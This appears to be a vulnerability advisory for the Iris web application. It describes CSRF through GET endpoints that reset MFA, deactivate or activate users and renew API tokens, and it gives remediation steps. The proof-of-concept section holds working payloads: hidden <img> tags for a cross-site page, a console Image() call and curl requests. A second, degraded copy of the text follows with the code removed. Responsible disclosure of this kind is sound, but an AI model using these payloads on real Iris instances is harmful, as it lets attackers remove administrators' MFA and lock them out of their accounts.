CSRF via State-Changing GET Endpoints Enables MFA Reset and Account Manipulation
Description
Multiple state-changing operations in Iris are implemented as HTTP GET endpoints instead of POST. The CSRF protection mechanism only validates tokens for POST requests, leaving GET-based actions completely unprotected against cross-site request forgery attacks.
Affected endpoints:
/manage/access-control/reset-mfa/<int:cur_id> - Reset user MFA
/manage/users/deactivate/<int:cur_id> - Deactivate user account
/manage/users/activate/<int:cur_id> - Activate user account
/user/token/renew - Renew API token
Impact
An attacker can perform unauthorized administrative actions against authenticated users who visit a malicious page:
- MFA Security Bypass: Reset multi-factor authentication for any user, removing a critical security control
- Account Denial of Service: Deactivate administrator or user accounts
- Unauthorized Account Activation: Re-enable previously disabled accounts
- API Integration Disruption: Force rotation of API tokens, breaking automated integrations
These attacks require only that the victim visits an attacker-controlled page while logged in.
Technical Analysis
The vulnerability has two components:
1. CSRF validation bypassed for non-POST requests (access_controls.py:199-201):
def _is_csrf_token_valid():
if request.method != 'POST':
return True # CSRF validation completely bypassed!
# ... token validation only for POST
2. State-changing endpoints use GET method:
# manage_users.py:308
@manage_users_rest_blueprint.route('/manage/users/deactivate/<int:cur_id>', methods=['GET'])
# manage_users.py:330
@manage_users_rest_blueprint.route('/manage/users/activate/<int:cur_id>', methods=['GET'])
# manage_access_control_routes.py:51
@manage_ac_rest_blueprint.route('/manage/access-control/reset-mfa/<int:cur_id>', methods=['GET'])
# profile_routes.py:45
@profile_rest_blueprint.route('/user/token/renew', methods=['GET'])
Root Cause
Session cookies use SameSite=Lax, which permits cross-site GET requests via <img> tags and top-level navigation. Combined with the CSRF bypass for GET methods, any cross-origin page can trigger authenticated requests to these endpoints.
Proof of Concept
Prerequisites
- Target must be authenticated as an administrator in Iris
- Attacker must get target to visit a malicious page
Steps to Reproduce
Method 1: Direct URL (while logged in)
Paste this URL in the browser while logged into Iris:
https://Iris.meow.com/manage/users/activate/1
The action executes immediately without any CSRF token validation.
Method 2: Browser Console
While on the Iris dashboard, open DevTools Console and run:
new Image().src = 'https://Iris.meow.com/manage/access-control/reset-mfa/1';
Method 3: Cross-site attack page
<img src="https://Iris.meow.com/manage/access-control/reset-mfa/1" style="display:none">
<img src="https://Iris.meow.com/manage/users/deactivate/1" style="display:none">
Verified Exploitation
# All endpoints accept GET and execute state changes
curl -X GET "https://Iris.meow.com/manage/access-control/reset-mfa/1" \
-H "Authorization: Bearer $TOKEN"
# {"status": "success", "message": "Updated"}
curl -X GET "https://Iris.meow.com/manage/users/deactivate/1" \
-H "Authorization: Bearer $TOKEN"
# {"status": "success", "message": "User deactivated"}
curl -X GET "https://Iris.meow.com/user/token/renew" \
-H "Authorization: Bearer $TOKEN"
# {"status": "success", "message": "Token renewed"}
Remediation
- Convert state-changing endpoints to POST:
# Before (vulnerable)
@route('/manage/users/deactivate/<int:cur_id>', methods=['GET'])
# After (secure)
@route('/manage/users/deactivate/<int:cur_id>', methods=['POST'])
- Ensure CSRF validation applies to all state-changing methods:
def _is_csrf_token_valid():
if request.method in ['GET', 'HEAD', 'OPTIONS']:
return True # Safe read-only methods only
# Validate CSRF for POST, PUT, DELETE, PATCH
-
Consider SameSite=Strict for session cookies if cross-site functionality is not required
-
Add re-authentication for critical actions like MFA reset
Mitigation (Short-term)
- Restrict admin panel access to trusted IP ranges
- Implement Content Security Policy to limit where the page can be embedded
- Add
X-Frame-Options: DENY header
Verification
- Attempt GET request to
/manage/users/deactivate/1 - should return 405 Method Not Allowed
- Attempt POST without CSRF token - should return "Invalid CSRF token" error
- Verify
<img> tag cross-site requests no longer trigger state changes
CSRF via State-Changing GET Endpoints Enables MFA Reset and Account Manipulation
Description
Multiple state-changing operations in Iris are implemented as HTTP GET endpoints instead of POST. The CSRF protection mechanism only validates tokens for POST requests, leaving GET-based actions completely unprotected against cross-site request forgery attacks.
Affected endpoints:
/manage/access-control/reset-mfa/<int:cur_id>- Reset user MFA/manage/users/deactivate/<int:cur_id>- Deactivate user account/manage/users/activate/<int:cur_id>- Activate user account/user/token/renew- Renew API tokenImpact
An attacker can perform unauthorized administrative actions against authenticated users who visit a malicious page:
These attacks require only that the victim visits an attacker-controlled page while logged in.
Technical Analysis
The vulnerability has two components:
1. CSRF validation bypassed for non-POST requests (
access_controls.py:199-201):2. State-changing endpoints use GET method:
Root Cause
Session cookies use
SameSite=Lax, which permits cross-site GET requests via<img>tags and top-level navigation. Combined with the CSRF bypass for GET methods, any cross-origin page can trigger authenticated requests to these endpoints.Proof of Concept
Prerequisites
Steps to Reproduce
Method 1: Direct URL (while logged in)
Paste this URL in the browser while logged into Iris:
The action executes immediately without any CSRF token validation.
Method 2: Browser Console
While on the Iris dashboard, open DevTools Console and run:
Method 3: Cross-site attack page
Verified Exploitation
Remediation
Consider
SameSite=Strictfor session cookies if cross-site functionality is not requiredAdd re-authentication for critical actions like MFA reset
Mitigation (Short-term)
X-Frame-Options: DENYheaderVerification
/manage/users/deactivate/1- should return 405 Method Not Allowed<img>tag cross-site requests no longer trigger state changes